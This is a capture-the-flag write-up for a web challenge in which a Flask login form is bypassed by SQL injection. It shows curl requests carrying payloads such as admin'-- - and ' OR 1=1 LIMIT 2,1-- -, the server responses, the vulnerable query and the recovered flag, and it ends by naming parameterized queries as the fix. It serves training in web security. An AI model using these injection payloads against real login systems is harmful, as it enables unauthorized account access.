SKIP TO MAIN CONTENT

[ EST. 2024 / INTERNATIONAL ]

SECURITY RESEARCH COLLECTIVE

SECURITY RESEARCH KNOWLEDGE TECHNIQUES
EVENT: Safaricom PwnZone 2.0 Qualifiers 2026CATEGORY: WebPOINTS: 200 PTS

At The Limit

AUTHORED BY:@bealthguy10/5/2026

At the Limit: Web

What the challenge was

A Flask login page titled Pole Position with a username and password form. Any visitor could attempt to log in. A successful login as a normal user returned Flag at admin user, indicating that the flag was rendered only for the admin account.

Initial recon

The landing page was loaded and the headers inspected. The server identified itself as Werkzeug and served a plain HTML login form with no other links.

ffcurl -i http://54.72.82.22:8060
HTTP/1.1 200 OK
Server: Werkzeug/3.1.9 Python/3.11.16
Content-Type: text/html; charset=utf-8
class="hljs-keyword"><h2>Paddock accessclass="hljs-keyword"></h2>
class="hljs-keyword"><form method='post'>
    Username: class="hljs-keyword"><input name='username'>class="hljs-keyword"><br>
    Password: class="hljs-keyword"><input name='password' type='password'>class="hljs-keyword"><br>
    class="hljs-keyword"><input type='submit' value='Login'>
class="hljs-keyword"></form>

A throwaway credential established the normal behaviour:

ffcurl -s -X POST -d 'username=test&password=test' http://54.72.82.22:8060 | grep -o "<p>.*</p>"
<p>Welcome back user test, Flag at admin user</p>

So test:test was valid but low privilege. The obvious target account was then attempted:

ffcurl -s -X POST -d 'username=admin&password=test' http://54.72.82.22:8060 | grep -o "<p>.*</p>"
<p>Login failed!</p>

This indicated that admin existed, that the password was unknown, and that both fields were checked against a database. The challenge name pointed at a SQL LIMIT clause, which suggested string-interpolated SQL.

The path

The first test was the classic comment-out form: log in as admin while discarding the password comparison.

ffcurl -s -X POST --data-urlencode "username=admin'-- -" --data-urlencode "password=test" http://54.72.82.22:8060 | grep -o "<p>.*</p>"
<p>Welcome back user admin, safctf{30f33ad5be8abc02f034b5b266ff6b81}</p>

Neighbouring payloads were then used to confirm the injection was genuine rather than incidental. A bare ' OR 1=1-- - authenticated successfully, but as the wrong user:

ffcurl -s -X POST --data-urlencode "username=' OR 1=1-- -" --data-urlencode "password=test" http://54.72.82.22:8060 | grep -o "<p>.*</p>"
<p>Welcome back user test, Flag at admin user</p>

That behaviour is the signature of LIMIT 1. The query returned every row while the application fetched only the first. The offset was then controlled explicitly through LIMIT:

ffcurl -s -X POST --data-urlencode "username=' OR 1=1 LIMIT 0,1-- -" --data-urlencode "password=x" http://54.72.82.22:8060 | grep -o "<p>.*</p>"
<p>Welcome back user test, Flag at admin user</p>

ffcurl -s -X POST --data-urlencode "username=' OR 1=1 LIMIT 1,1-- -" --data-urlencode "password=x" http://54.72.82.22:8060 | grep -o "<p>.*</p>"
<p>Welcome back user guest, Flag at admin user</p>

ffcurl -s -X POST --data-urlencode "username=' OR 1=1 LIMIT 2,1-- -" --data-urlencode "password=x" http://54.72.82.22:8060 | grep -o "<p>.*</p>"
<p>Welcome back user admin, safctf{30f33ad5be8abc02f034b5b266ff6b81}</p>

Offsets of 3 and above returned Login failed!, so the table held exactly three users in order: test, guest, admin. A # comment variant was rejected with That request could not be completed, which is why the -- - form was retained.

The exploit

The password check is bypassed by closing the username string and commenting out the remainder of the query:

username = admin'-- -
password = test

Request:

ffcurl -s -X POST --data-urlencode "username=admin'-- -" --data-urlencode "password=test" http://54.72.82.22:8060 | grep -o "<p>.*</p>"

Response:

<p>Welcome back user admin, safctf{30f33ad5be8abc02f034b5b266ff6b81}</p>

The backend query behaved like:

SELECT * FROM users WHERE username = &#039;<input>&#039; AND password = &#039;<input>&#039; LIMIT 1

Injecting admin'-- - turned it into:

SELECT * FROM users WHERE username = &#039;admin&#039;-- -&#039; AND password = &#039;test&#039; LIMIT 1

Everything after -- became a comment, so only the username was compared.

The flag

safctf{30f33ad5be8abc02f034b5b266ff6b81}

Notes on method

No scanner was required here. The LIMIT behaviour was visible from two requests: ' OR 1=1-- - returning the first user rather than the requested one was sufficient to name the bug. Enumerating LIMIT offsets earlier would have been more efficient, since the row ordering itself confirms the table layout without any brute force. The fix is parameterized queries plus least-privilege handling, so the flag is never rendered from a raw row fetch.